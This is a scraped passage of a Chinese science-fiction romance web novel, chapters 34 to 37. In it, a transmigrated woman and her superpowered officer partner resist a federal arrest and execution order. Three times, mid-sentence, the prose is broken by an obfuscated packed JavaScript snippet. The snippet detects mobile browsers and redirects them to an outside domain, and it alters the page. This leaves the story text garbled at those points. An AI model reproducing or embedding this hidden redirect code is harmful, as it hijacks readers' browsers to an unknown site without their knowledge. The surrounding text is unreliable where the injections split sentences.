李乐生穿越到这个世界后,李唯一已就不怎么正常了。 虽说,李唯一本身就不是个正常人,但成为治安官的这两年,她的一切行动准则都是符合【治安官】的标准的,合格且优异。 想到此,安娜的心中有了一丝愧意,但下一秒就被压了下去。 【治安官】本就是为了【厄斯星人】而战,异能者们享有非比寻常的强大异能,自然要承担更多职责。 牺牲自我,牺牲家人,也是无法避免的。 她这样想着,看着李乐生的眼神里再次升起了几丝烦躁。 “我不能同意。”安娜依旧拒绝了报告批准,“你的这份报告我会修改它的级别,等会会上交给联邦政府。” “你等了很久,失而复得我很理解,但我绝不会拿整个星球的安危陪你玩这场恋爱游戏。”安娜说罢,看着李唯一那晦朔不明的脸色,继续道,“之后有任何调查进度,及时汇报。” 语毕,交流的语音窗口关闭。 安娜坐在办公桌前,调取出李唯一的那份报告,里面是李唯一对【蓬蓬】出逃的报告,也说明了蓬蓬是奔着李乐生而来,所有的监测系统都没有监测到蓬蓬的位置。 她又想起昨日纳德提交的报告,里面也明确告知了她蓬蓬的行为异常与李乐生离不开关系。就在昨天,她将这份报告压在自己的终端库里,那个时候她还是站在李唯一这边的。 而现在,她要将两份报告都提交给联邦。 安娜的咬了咬牙,李唯一信任她,所以才会事无巨细的将所有告诉她,而非给她一份虚假的报告。 她承认,李唯一是她最喜欢、最得意的弟子,但事关【厄斯星】的未来,她只能对不起李唯一的信任了。 安娜将两份报告合成,又输入了联邦政府的接收ID,随后点下了【传送】键。 A组办公室内。 李唯一盯着工作台,神情阴冷,眸中流露出淡淡的怒意。 自家队长那狂躁的精神力像一条条毒蛇疯狂的在吐信,压得纳德几人脑袋很不舒服。 李乐生觉得室内的温度忽然就凉了好几度,又看周围人都不说话,忍不住抓了下裤子。 声音不大,但所有人都看了过来。 四双眼睛齐刷刷的盯着她。 哎?不是? 为什么全在看她?李乐生看看这个又看看那个,“不至于吧?我就抓了抓裤子,影响到你们思考了?” 正在此时,小狐狸又跑到了李乐生身边,这次是躲到了李乐生的脚后跟,像是很害怕李唯一。 “你说得对。”李唯一开口,那字像是从她的齿缝里挤出来。 李乐生:? 她就抓下裤子啊!???? 难道穿越而来的金手指是【只要抓一下裤子就可以使异能者无法思考】吗? 这也太抽象了吧? 李乐生内心疯狂吐槽。 下一秒,她听到李唯一又说了一句话。 “你不应该来到这里的。” 白发女人的目光落在工作台上,双眸毫无光彩,她的嘴角无意识的向下撇。 无助且脆弱。 “都是我的错。”李唯一叹息。 35. 第 35 章 “停停停!先别急着伤心,几位能不能告诉我到底发生了什么事?” 李唯一浑身上下都写着“悔不当初”四个字,再看其他三人,无一不在用同情地眼神看着她。 李乐生觉得真的很莫名其妙。 “虽然刚刚你和你的老师争执得很厉害,虽然我也没太听明白,但好像你们的争执和我有一定的关联。”李乐生拍了拍自己的胸脯,小狐狸已经顺着她的裤腿慢悠悠的爬了上来。 她低头看了眼,小玩偶趴在自己的腿上不动了。 不知道是累了在休息,还是单纯的就想趴着。 在自己的头脑风暴跑题之前,李乐生再次看向李唯一,继续说,“所以能不能先向我解释一下呢?” “别让我当个糊涂蛋?”她耸耸肩,给出了一个标准的八颗牙齿的笑容。 办公室的气温越来越低了,低的李乐生心悸。 浑身上下好像有东西在爬,像一条条冰凉细小的蛇,它们钻入她的皮肤,她的大脑,甚至有的在蚕食她的心脏,以至于她本能的恐惧,身体都紧绷的抖了起来。 这时候她要还意识不到问题所在,那就真的是个笨蛋了。 她虽然一直没有见到李唯一使用异能,但女人拥有异能这件事她一直都记得,而且李唯一也告诉过她,异能者的精神力效果由异能者本人的目的决定。 通常情况下,出于保护、安抚等目的的精神力在包裹他人的时候,会有一种润物细无声的效果,被包裹着的人基本很难察觉到。 但当异能者要攻击他人,或者是由于崩溃、绝望、愤怒等负面情绪失控导致精神力外泄的时候,就会使沾染到精神力的人产生恐惧、狂躁和不安等等状态,有的人会觉得置身冰窖,有的人可能会觉得窒息,还有的人会产生一些恐怖的幻觉……情况各异,视异能者而定。 而李唯一的精神力在压迫攻击他人的时候。 “他们说,有点像毒蛇,很瘆人。”当时的李唯一仰首回忆了一下,告诉了李乐生,“具体我也不明白。” 李乐生当时还在想,能有多瘆人。 现在她体会到了。 脖子也好难受,像是有蛇狠狠的咬着她的脖颈,毒牙刺入她皮肤的瞬间,就像被烙铁烫穿,尖锐的痛感瞬间炸开,与此同时皮下似乎有滚烫的岩浆在顺着她的血管冲去心脏,皮肤火辣辣的疼,像是被打火机烤着,可是肌肉和血管又是一阵阵阴冷,两种不适的感觉沿着那毒液游走的轨迹,不停的侵蚀着李乐生的理智。 李乐生的呼吸不由自主地加快,她的四肢也陷入了一种麻痹僵硬的状态,想逃离这个办公室都办不到。 李乐生的双眼都有些模糊,就像是真的中了蛇毒一样,昏昏沉沉。 眼前的场景都开始摇晃起来。 “李唯一…收回你的精神力,已经影响到我了。”她颤抖着发出声音,上下两排牙齿不停的打颤,心脏那里一阵一阵的疼,拼尽全力将话说完。 下一秒,室内地气温骤变。 毒蛇没了,身体的不适也没了,李乐生立马站了起来。 李唯一的精神力收回了,但是她的恐惧还没结束,身体的自主权恢复的瞬间就本能的促使她逃跑。 蓬蓬被李乐生起身的动作弹到了地上。 办公室的门被推开,她刚跨出一步,身后的人拦腰将她抱了回去,李乐生的手想要去扒门框,但是对方的力气和速度都更胜一筹。 李乐生只觉天旋地转,室内的场景在瞬间的疾驰过眼后,她又回到了沙发上。 只不过这次是躺着的。 李乐生的脑袋回过神来,她才发现自己还在发抖,喘息,像是濒死的人劫后余生,兴奋的神经里还残留着不安。 她的骨髓、血肉似乎都有了意识,都在说着害怕,心脏每跳动一下,就让她的恐惧加重一分。 李乐生努力想要平复心情,可是粗重急促的呼吸根本不受她控制,她就像是一个寄宿在自己身体内的灵魂,被关在身体里看着自己的身体发抖、哭泣。 好一会儿,李乐生的意识才重新掌握了自己的身体。 办公室内只剩下了李唯一和她两个人,其他人不知道去哪了。 原来要被杀死,是这么恐怖的一件事。李乐生想。 “有没有觉得好受些了?”李唯一蹲在她面前,忧心忡忡的看着她。 语气中带着愧疚,“对不起,我刚刚不是故意的。” “乐生,真的很抱歉。”李唯一的双眸中流露着焦急不安的情绪。 她抬手,用纸巾擦去李乐生脸上的泪。 明明被吓到的人是自己。李乐生想,可是现在小心翼翼的人却是李唯一。 “姐们儿,哦不,妹妹!”这时候了李乐生还没忘记纠正年龄差,她坐起身,“所以告诉我,到底发生什么了?” “你们的争执里究竟和我有什么关系?” “你知不知道我刚刚有多害怕?我现在手还在抖,你看到了吗?”她摊开手,展现着她的颤抖。 “早知道当初就不该让你有那么高的数值,现在报应到我身上了。是吧?” “说话!干嘛不说话!” 李乐生这次是气的大喘气。 她叽里呱啦的吐出一大堆话来缓解她那遗留的恐惧,直观的面对一个异能者带着杀意的精神力,简直比大白天见鬼还恐怖。 她现在看李唯一都有种看仇人的心理因素。 “对不起,都怪我。”李唯一垂头,双手趴在了李乐生的大腿上,仰着头看着李乐生,“你骂我吧,打我也行,只要能解气,什么都行。” 女人透光的白发形成了一种很朦胧的发光的轮廓,碎发下的那双浅金色眸子里映照着她睫毛的倒影,还装着李乐生的身影,她歪头,像只刚刚认主的小动物。 “你先告诉我,到底发生了什么?”李乐生偏过头,冷静的询问。 李唯一沉默了。 “不说话?看来和我不仅仅是有联系,恐怕原因就在我吧。”李乐生说道。 李唯一:“你这个时候倒是很敏锐。” “不要妄想利用翻旧账的方式来糊弄我。”李乐生出声,打断了李唯一想要继续说的话。 “……” “你不说我也能猜出来大概。”冷静下来后的李乐生回想着之前的种种,从捡到蓬蓬开始,到李唯一和安娜的争执结束,大脑很快就整理出来了一些猜想。 “【诺城】这几个重要机构的守则和规则我都已经了解过了。” “蓬蓬来到这里,而且还是另一个模样,说明TA使用了自己的能力,但是监测院没有监测出来,ta离开了【安定区】也没有被发现,这对于【诺城】的治安部来说,是重大失误。” “如果这个布偶人可以在治安部毫无察觉的情况下随意出入【安定区】,就意味着你们针对外星种族的防护系统其实并不完善,也有可能产生一个猜想——” “万一还有别的种族也能出入呢?如果是那些暴怒具有攻击性的外星人呢?” “布偶人的zhi无害外表是不是伪装呢?能保证之后的布偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053354|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人依旧无害吗?” “而昨天,你和纳德也有一个推论——TA是因为我才产生异常行为的。” “今天也是冲我来的,那有没有可能,是我影响了蓬蓬。” “而且,我的【死而复生】医疗院那边也没得出结果。” 李乐生一字一句地说着,思路逐渐清晰,她低头,与李唯一对视,“我这种不确定因素,很有可能危害到【厄斯星】的稳定,对吧?” 李唯一没有说话,默认。 “你和你老师争吵的时候,提到了【分城自理事务】。在【厄斯星】,中央联邦大楼是星球管理指挥总部,诸如【诺城】【旧都】等,都是分城。” “你想让这场突发事件的调查权限于【诺城】,不希望让联邦知道,但这种级别的【异常】调查报告是必须要提交给联邦的。” “你和安娜部长因为这件事吵起来了,对吧?” 李乐生歪头,却没有等待李唯一的回答。 她的神情有些严肃,忽然,她笑了起来。 有一种自嘲的意味。 “是为了我?” 在问,又像是陈述。 李唯一忽然双膝跪在了地板上,她的身子又靠近了李乐生,挤进了李乐生的□□,双臂环抱着女人的腰部。 “你真聪明,乐生。”靠着她腰侧的那颗毛茸茸的脑袋发出了声音。 难怪这人会说,她不该来的。 “不是你的错,李唯一。”李乐生的右手抬起,手指插进那白色的浓密发丝间,感受着对方发烫的体温。 “我的穿越,是我误触了那条链接。” “不论是蓬蓬的异常,还是现在我的处境,都不是你刻意造成的,所以不要给自己的身上揽责任。” 很熟悉的话。 不要给自己的身上揽责任。 就在昨天,李唯一还在用这句话劝李乐生。 这才隔了不到二十四小时,这句话就回到了李唯一的身上。 “所以,现在能告诉我,为什么会突然失控吗?”李乐生询问。 李唯一没有说话,只是脑袋在李乐生的身上蹭了蹭,随后松开手,坐在了地板上。 从自己的手环上调出了一些治安部的内部规则。 “【诺城】的治理是很民主的,但是联邦政府不一样。”李唯一双指将其中一条放大。 【针对于异常者体质突发的各种无法确定的不稳定事件,即可抹杀。】 “你的病还没有病因,虽然不确定,但对于【厄斯星】的稳定是无害的。就像布偶人的基因我们一直都没有研究明白,但不妨碍我们可以给TA们一个活着的权利。因为无害。” “可是今天蓬蓬【越界】了,【诺城】的监测系统和中央联邦是一套的,这种不确定性比你的病因更严重。” “而蓬蓬的【越界】目前和你脱不开干系,联邦那边可能会采取全部抹杀的方式。” 李唯一的话语一顿,她闭上了眼睛,深深缓慢的呼吸,让自己冷静,再次睁开眼,她的声音中带着隐忍,音调也压得很低,“我不能接受。” “而我,似乎也没有胜算。” 如果真的要让李乐生被抹杀的话,她一定会反抗的。 可是从小接受的【思想钢印】里,告诉了她,她要保护诺城,保护厄斯星。 尽管和很多人没有深交,但并不代表她是个会利用自己的身份去滥杀无辜的人。 更可况,即便是【最强的治安官】,也只是单体的最强,不代表可以以一敌百。 36. 第 36 章 所谓【抹杀】,字面意义上就是,她要死了。 李乐生听到李唯一的解释,脑袋宕机了一秒。 “不是?这你不早说?”一秒过后,李乐生情绪激动的瞪大了眼睛,她的手下意识地抓住了李唯一的肩膀。 李唯一:“说了只能引起你的恐慌。” 李乐生被噎了一下,她反驳不出来。 “不是,我还不想死啊!”李乐生站起来,她急的开始在室内左右踱步,“我就这么死了那真的太冤了!” “我们就不能和联邦讲讲道理吗?” “你们的科技不是很发达吗?各种探测器和限制器都有,全用一遍看看我到底有没有攻击性呗?实在不行我带着限制器去做一辈子牢也行啊?” 李乐生疯狂在脑子里搜寻一切能够救命的法子,她求助的看向李唯一,“李唯一,你再仔细想想,就一定要抹杀我吗?” 还没等李唯一开口,李乐生忽然瞳孔震动,继续道,“等会!” “你还和我结婚了,那你该不会也要跟着一起?” 李乐生说完又觉得不对,李唯一可是【诺城】数一数二的治安官,实力强劲。 而且她的异能是十分稀有的【创物者】,全能且实用,攻防皆可。 根据【厄斯星】现如今的基因编辑技术,对于异能者的基因研究至今仍处于【观察状态】,所有的异能者都是靠自然选择出生的,暂时还没有掌握通过人工培育的技术去孕育一个异能者。 所以李唯一是不可能跟着她一起死的。 有可能是继续被关禁闭室,最差的也是通过【脑机】去往李唯一的大脑中植入联邦的【智脑系统】,从而去控制李唯一的思想,使她完全的依靠【联邦】的命令而活。 但是这也跟死了没啥差别啊! 要逃吗? 可是厄斯星的【时空跃迁】技术已经很成熟了,就跟那游戏里的传送塔一样,哪个地图都有。 【诺城】【旧都】【中央联邦政府】等各类城市中,几乎都有类似传送点的交通点,只不过居民无法个人使用,都是集体传送,且只能进行城外跃迁。 人满后,负责传送点,也就是【跃迁点】的人员会启动【跃迁系统】,将乘坐的居民一起送往其他城市。 但治安官们不一样,他们的手环系统中自带【跃迁系统】,无论何时何地都可以自主传送,她就算是跑,也跑不过瞬移啊! “我靠啊!我要知道后果这么严重,我死都不要捡那个狐狸啊!我一脚把它踢得远远的!!!”李乐生崩溃的抱着脑袋悔不当初,忽而她的眼睛开始在屋子四处张望。 “那狐狸呢?叫蓬蓬是吧?跑哪去了!” “我要揍他!!!!” 李乐生在办公室里开始疯狂寻找蓬蓬的身影,沙发缝,办公桌下,甚至地毯都被她掀了起来。 她的身影带着股慌张的忙碌。 在她跪在地板上侧头用双眼搜寻着地毯暗影处的时候,李唯一抓住了她的手腕。 “我会保护你的。”治安队长的声音从头顶传来。 李乐生的手紧紧的抓着地毯,手背上凸出的骨节部位泛白,可见其用力。 下一秒,她松开手。 眼泪啪嗒啪嗒的掉下来,李乐生瘫坐在地上,无声的哭着。 她抬头,想看看李唯一的样子,结果两只眼睛都被泪水糊着。 想擦眼泪,却死活抬不起手。 没有劲。 女人伸手,抹去她的泪,让她的视线清楚了不少。 “即便没有胜算,我也会保护你的。”李唯一认真的说,“我不会让你死的。” “乐生。” 李唯一的双眼中没有丝毫软弱的情绪,她神情严肃坚毅,似是下定了某种决心。 正在此时,整个治安部响起了警报声。 【警报!警报!治安基地内所有执法治安官听命,从此刻起治安部所有出口全面封锁,向外跃迁的系统已经停止,启动特级戒严!】 【警报!警报!治安基地内所有执法治安官听命,从此刻起治安部所有出口全面封锁,向外跃迁的系统已经停止,启动特级戒严!】 …… 伴随着频繁响起的警报器的声音,和每个房间墙壁的高红警示灯疯狂亮起,办公室内的四个工作台上被强制开启工作,悬浮屏幕上纷纷亮着那串同步的红字。 【嘀嘀嘀嘀嘀嘀嘀嘀!】 李唯一的手环也在迅速振动,并响起尖锐的提示音来。 李乐生被这突如其来的变故吓到,但至少也恢复了丁点儿思考的能力。 “她们来了。”李唯一皱眉,手环被她直接扯掉扔在一旁。 李乐生下意识地要做一样的事,结果摸上自己的手腕后才发现,自己的手环早就不见了。 她顿了一下。 来不及回想,就听到李唯一安抚她,“别怕。” 对方站起身来,精神力释放。 只听得接二连三的类似玻璃碎裂的声音响起,那些高亮的红色警报灯全部被损坏,工作台上的悬浮框也开始变的模糊扭曲,最后彻底损毁,空气中还能闻到一股奇怪的类似烧焦的味道。 李乐生连忙捂住耳朵闭上眼睛,直待所有巨响消失,她才睁开眼睛。 连窗户的高精度防弹玻璃都被震碎了。 就在此时,她忽然觉得肩膀处好像有什么在动。 回头,却看到一个人伸手正抓向她,但是在离她约一臂的距离停下了。 不,不是停下了,而是被挡住、被抓住了。 是李唯一的精神力抓住了他。 意识到这一点,甚至不需要一秒钟,李唯一如疾风般冲了过去。 她摊开手掌,做出挥刀状。 不知是什么原因,李乐生竟然能看清她的每一个动作,她那五根张开的修长的指头,血管与青筋在皮下的动作,还有治安队长手掌中心,凭空造出的一把矛尖形□□。 就像是一颗种子生根发芽,那把黑色的刀竟在瞬间生长成型。 李唯一毫不留情,伏身猛冲,直接刺向对方的喉咙。 那名治安官的眼睛显然没跟上李唯一的动作,连躲都来不及躲。 【滋滋滋……】 刀尖紧紧的贴着对方的脖颈,却没有刺进去,而是被对方皮肤上的一层蜂巢状的闪着蓝光的防护外衣挡住。 只是那防护外衣在李唯一的刀尖下,已经出现了裂痕。 那名治安官连忙后跳躲开,李唯一转着武器再次回到了李乐生的身边,面无表情的与对方对视。 “治安官李唯一,你知道自己在做什么吗?”对方怒喝。 伸手摸了摸自己的脖子,他浑身现在都披着一层防护甲,或者说,是他的异能,可以使自己的皮肤外层细胞变成相同密度的纯碳晶体,也就是防护甲。 即便是激光剑,砍伤他也需要功夫。 脖颈处的裂痕迅速恢复。 他却仍心有余悸,虽然没流血,但如果自己反应再慢一秒,就要被捅穿了。 “我由【中央联邦】特遣,捉拿二位,乖乖配合,不要妨碍公务。”他面上不显慌张,依旧冷静阐述着此行动机。 他听说过【诺城】的这位治安官,是这个分城里实力一骑绝尘的存在。 只不过分城与中央联邦的治安官们并不一起工作,所以一直以来除了开会碰面,基本没接触过,也不熟悉。 今日试探,才发觉对方实力的恐怖。 他早有防备,提前便施展了异能,不知该庆幸还是愤怒,他提前的这点防备救了自己的命。 李唯一的资料他已经熟读过。 目前为止,唯一的【创物者】。 可以使用精神力制造出一切熟知原理的物质,并且精神力越强,其所造的物质就更难被摧毁,无论是战场还是医院,都完美契合。 “我要直接和【联邦会议厅】对话。”李唯一不理会他的警告,冷冷开口。 对方皱眉,“乖乖配合行动,你之后自然会通过程序正义见到会议厅的大人们。” “配合不了。”李唯一拒绝道。 话音刚落,跃迁虚影在室内闪烁,又有三名治安官来到了这里。 两名女治安官,一名男治安官。 其中那名及腰长发的治安官,似乎是他们的队长。 “李队长,你好,我是中央联邦大楼治安部的总队长,闪耀。”治安队长温和的自我介绍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065421|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我们受到联邦指控,你的伴侣有危害星球治安系统的嫌疑,同时您有隐瞒不报和损毁手环拒捕的违纪行为,我希望你们两位能迷途知返,乖乖配合我们的工作。” 闪耀的态度很友好,笑容也很官方,声音语气没有丝毫的威胁意味。 但李唯一并不为所动。 她的目光落在李乐生的身上,李乐生还坐在地上,连忙将脑袋躲在了李唯一的腿后面。 李唯一没有说话,她就当哑巴。 虽然没从闪耀身上感受到不适,但她也见过很多领导了,笑面虎多的是。 她现在就跟罪犯一样,谁家好人面对罪犯能真情实感的笑? “我要求现在和【联邦会议厅】对话,其他一切免谈。”李唯一重复着自己的诉求。 “一个昨天刚从禁闭室出来的违纪者,今天直接妨碍逮捕活动,我看少跟她废话!直接强制逮捕!”最初出现的那个男治安官又说道。 似乎是自己的队员们统一到齐了,他原本的忌惮也少了许多。 李乐生担心的抓着李唯一的衣服,后又想起来,要是打起来,李唯一被她拽着影响操作怎么办?于是又放开了手。 但是心里急的要命,却想不出任何计策来。 该死的老天爷! 为什么穿越不给她金手指!!! 她气的在心里怒骂,牙齿咬得快要碎了。 “汉克,扣十分。”闪耀的脑袋动都不动一下。 虽不知道他们的扣分系统是什么,但李乐生猜应该是和惩罚离不开干系,男人似乎还要说,闪耀又道,“还不闭嘴,再扣十分!” 这次带上了脾气,呵斥。 汉克只好垂头,无声认错,遵从指令。 “李队长,我们很理解你想要保护伴侣的心情,联邦从不会冤枉任何人,只要你们二人乖乖配合调查,我可以保证,为你争取抗辩的权利。”闪耀继续笑着,“你确实实力不凡,但【诺城】的治安部现在已经被控制,不会有人能帮助你,仅凭你一个人,如何抗衡联邦的治安官们?” “与其做无谓的抗争,给自己平添罪名,不如放弃抵抗,还尚有一线生机。不是吗?” “难道仅凭你和你那无用的伴侣,可以击垮整个厄斯星的治安系统吗?” 李唯一回头看了眼李乐生。 李乐生,她是一个弱小的女人,女人的眼睛里有惧怕,有忧虑。 李乐生确实是无用的。在这个需要战斗的场景下。 李唯一眸子眯了眯,再次转头,看向闪耀,“你所谓的一线生机,是我的一线生机,还是我们两人的呢?” 闪耀瞳孔微微放大,没有回话。 “我的确不能击垮整个星球的治安系统,但是让治安部损失几个异能者还是能办到的。”手中的□□逐渐缩小随后消失,紧接着,从李唯一的双手中,出现了两把银色的手枪。 “我会和你们一起死在【诺城】的治安部里,【异能者】的繁衍数字日渐消减,联邦愿不愿意为了你们的性命,和我谈谈呢?” 李唯一的话让几人都变了脸色。 刺骨的阴凉气息瞬间笼罩住整个房间,几人所释放的精神力屏障正在被李唯一的精神力疯狂挤压,她们甚至能够听到有毒蛇在吐信的声音,一个接一个,此起彼伏,击打着她们的耳膜。 明晃晃的杀意就围绕在她们身边。 闪耀并没有产生怯意,在联邦治安部里,她也是十分强大的一位执法者。 只是目前的情况下,一旦动手,双方就没有了谈判的余地。 非死即伤的结果,她是真的不想看到。 尤其是,这么多治安官的死,只是因为李乐生。 “为了一个落后星球的弱小生物,牺牲自己,放弃未来。李队长,这不是一个明智的决定。”闪耀再次劝道。 厄斯星的社会的确拥有着高度的文明,但在很多人眼中,尊重、自由、平等是给予【厄斯星人】,外星种族可没资格获得厄斯星的尊重。 即便那些种族和厄斯星人看起来别无二致,甚至对于【古厄斯星人】,有些人都不认同他们为同族。 而这类人,在联邦,尤其的多。 “你与我们,才是朋友。” 37. 第 37 章 闪耀的这番话,无疑是对李乐生的侮辱。 即便是从头到尾都没有与之交谈的李乐生,也从那【生物】二字上,听出了对方那高高在上的态度。 这位总队长对她并无恶意,并非自身教养或是虚与委蛇,而是没把她当人。 一个平等的人。 人和人之间可以交流切磋,也可以在来往之中产生愉悦或嫌恶的交情,但人与虫子是不行的。 踩死一只虫子,无论是无意还是有意,都不值得赋予感情,连情绪都可以没有。 在闪耀的心里,她就是虫子,低等,弱小,不识乾坤,所以任人踩踏也无需赐予她怜悯和尊重。 李乐生自来到这个世界,一直就待在【诺城】,从未去过别处。 在这个地方,她几乎没有被以这种轻视侮辱的态度对待过。 即便是托德那个吸血鬼,对她冒犯了几句,但也并非是将她视作低级的【生物】。 二人的对骂,或者说互怼,其实是在同样的水平上的。 闪耀的话轻飘飘的,相比托德那明显的敌意,可以说很斯文。 但就是这种轻飘飘的斯文,却是极致的侮辱。 她没把李乐生放在眼里,从头到尾,李乐生在她眼中就已经是一条必死的虫子了。 她一直都希望李唯一活下来。 因为李唯一是她的同类,李唯一为了李乐生这条虫子对抗【厄斯星】,在她眼里,是愚蠢,是堕落,是腐化。 意识到这一点后,李乐生的心里忽然生出一种自己都不太明白的开朗。 原本对于死亡的恐惧,对她们二人此境的忧虑,对生的渴望,在此刻全都化成了一股轻烟,飘然离去。 她整个人都轻松不少。 李乐生本是躲在李唯一身后的,自那之后便一直未曾探出过脑袋打量对方几人。 而现在,她歪头,光明正大的观察起了闪耀。 她的心理活动开始泛滥,她想起自己与这个世界真正的连接,不是此番穿越。 而是更早的,在大学时候打开的游戏。 在她的世界中,【厄斯星】的存在是低等的维度,手机屏幕里的【厄斯星】是服务于她的。 在当时,生活在【厄斯星】的闪耀等人,在她眼中,连虫子都算不上。 【异能者】的繁衍数量确实在变少,李乐生在了解这个世界的时候,自然会接触到这类数据。 虽然【治安官】的很多文件她是无权查看的,但是单从【异能者学院】中定期毕业生的数据走势图中,就能简单推理出来很多了。 【旧都】的学校学生数量,可是全面公开的。 而像李唯一这种【稀有】并且接近于全能的异能者,从古至今,只出现了一个。 这一点,确实很大程度上得益于李乐生当年玩游戏时的投入。 《我的人生物语手册》中,在玩家培养主控的时候,主控的【异能】是可以进化的。 所谓的【创物者】,就是异能进化的最终选择。 一开始,主控【李唯一】的异能只是制造一些直接接触的简单物质,举个例子,若有一张桌子,她需要通过一只手来触摸,从而引导精神力去复制桌子的结构,才能造出一模一样的桌子。 而在这个过程中,【李唯一】的手是不能离开桌子的。 此乃初级异能状态,在游戏中,成就为【简单物体的复制者】。 这个初级异能需要不断地去战斗刷经验值,攒够一定经验值后,才能突破,进入中级异能状态。 而中级的异能形态,不需要直接接触,只要知晓其物体的组成元素,通过大脑模拟就可以直接造出来。 这个突破就有意思了,李乐生此时竟想起来了—— 大部分游戏里如果要突破提升境界的话,无非是继续刷副本获得足够的材料、金币,加上积攒够的经验等级,按下【突破键】就行了。占据的主要是时间。 但《我的人生物语手册》很不一样,【李唯一】突破的时候,李乐生将她的数值经验都刷满了,还压了两倍。 结果没想到,突破境界时,她作为玩家还要答题。 这是游戏给予她的隐藏模式,就因为数值压了两倍。 题目倒是不刁钻,基本都是游戏文本里的内容。 比如“厄斯星的空气主要由什么部分组成?” “火能量的二次转化中哪个技术可以用于切割和材料合成?” “当你【灵光一现】时,是多少神经元在活动?” …… 密密麻麻的问题,有的是选择题,有的是判断题,只要正确率高达百分之五十,即可成功突破。 这种突破方式对李乐生来说,和考试没什么不同。 那时候的李乐生不明白为什么【李唯一】的异能等级突破一定要考试答题。 但她不允许自己考试只得个及格分,尤其这还是个开卷考。 考试当前,管它是现实还是游戏,先干再说。 于是她将自己之前经历过的剧情又重新在历史记录里面过了一遍,花了不少精力和时间去记笔记,那些灰色的没有解锁的分支线,她就去网上找别人的游戏视频看,搜寻所有问题的答案。 最后以满分的成绩突破了人物,获得了【记录世界的造物者】这个记录。 这时候她才明白,她所答的题,其实会转化成【李唯一】大脑内的知识因子。 当李唯一由【复制者】突破为【造物者】时,她使用异能时的状态也从被动变成了主动,她不用再被动的依靠触碰才能造物,她的脑子里拥有了某个物体的构成逻辑,在精神力足够强的状态下,她就可以凭空造物。 而答题正确率达到百分百,游戏里就会让【李唯一】开启【自学额外知识】的日常托管任务。 这种托管任务不需要消耗体力值,玩家在不玩游戏的时候可以通过这种托管让游戏主控存储更多的知识,从而增加【造物】的范围和数量。 李唯一的【造物系】异能就是在李乐生的选择和她的坚持二者之下,越来越强大的。 这也是为什么,李唯一几乎对任何领域都有所涉猎,且见解颇深。 而李唯一最终的异能形态,即【全知全能的创物者】,就是在这种日复一日的托管学习下,悄然突破的。 李乐生立刻恍然大悟,原来李唯一就是从【自学额外知识】这个日常任务开启的时候,产生了觉醒意识。 所以第二次突破的时候,不需要她去答题。 李唯一通过思考与学习,参悟了【创物】异能的方法,自我突破了。 掌控自我的李唯一也是从那时起,完整的拥有了【创物】的异能,也进化成了整个厄斯星唯一一个创物者。 闪耀不希望李唯一死,更不希望李唯一为了她这个虫子浪费生命。 虫子?李乐生看着闪耀,她从闪耀那双温和友善的眼睛中读出了对方的想法。 那双眼睛在宽恕李唯一,她对李唯一这种“自残式”行为很不满,但她原谅李唯一的任性。 【你我是同族,你的异能是族中的珍宝,我们不会计较你的顽劣。】 李乐生忽然觉得有些好笑,李唯一的成长,其实还真的与她这条虫子的培养有点关系呢。 她想起一句古话来:朝菌不知晦朔,蟪蛄不知春秋。 可纵观两个世界看来,究竟谁知乾坤,谁又是虫呢? 李乐生又是回忆又是思考,不知不觉间,时间竟又过去了十来分钟。 这期间李唯一与闪耀之间少有的几次交谈依旧未果。 闪耀的耐性也被李唯一的冥顽不灵磨得所剩无几。 只她表面上仍笑着,并且后退了几步,“撤回精神力。” 她吩咐着自己的队员,“我帮你连接【联邦会议厅】的负责人,如何?” 这句话自然是问李唯一的。 她选择了退让。 三个治安官也听话的收回了她们的精神力。 只汉克恶狠狠的瞪了一眼李唯一。 冰冷刺骨的压迫感让几个人身形有瞬间的一缩,但不过呼吸之间,李唯一探查到四人确实撤回了精神力,也迅速收回。 闪耀两只眼睛笑得眯成了一条缝,“感谢——” 李乐生背后忽然一凉。 她猛地回头,只见到一条手臂在她面前,那苍劲有力的拳头正攥着一把三棱刺刀状的武器直冲她面门而来。 那本是要刺向她后脑勺的,只是她转过了头,侧着身子,那刀尖便如闪电般冲向了她的眼睛。 李乐生呼吸停滞,她连眼睛都来不及闭上,右眼视野已经升起一片虚空,心脏都提到了嗓子眼。 “警告!五分钟后召开在线联邦会议厅,请特遣队带领李唯一、李乐生二人前往【诺城治安部】二楼会议大厅!” 那又细又长的刺刀撞上了她的眼睛,却没有刺进来。 并非是对方停了手,而是,李乐生的右眼眼球上覆盖着一层蜂巢状细密的蓝色防护衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073456|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那刺刀被那层薄薄的外衣硬生生地挡了下来。 闪耀队伍的手环上此时还在重复着新的通报消息,连外面的扩音设备中也换成了同样的内容。 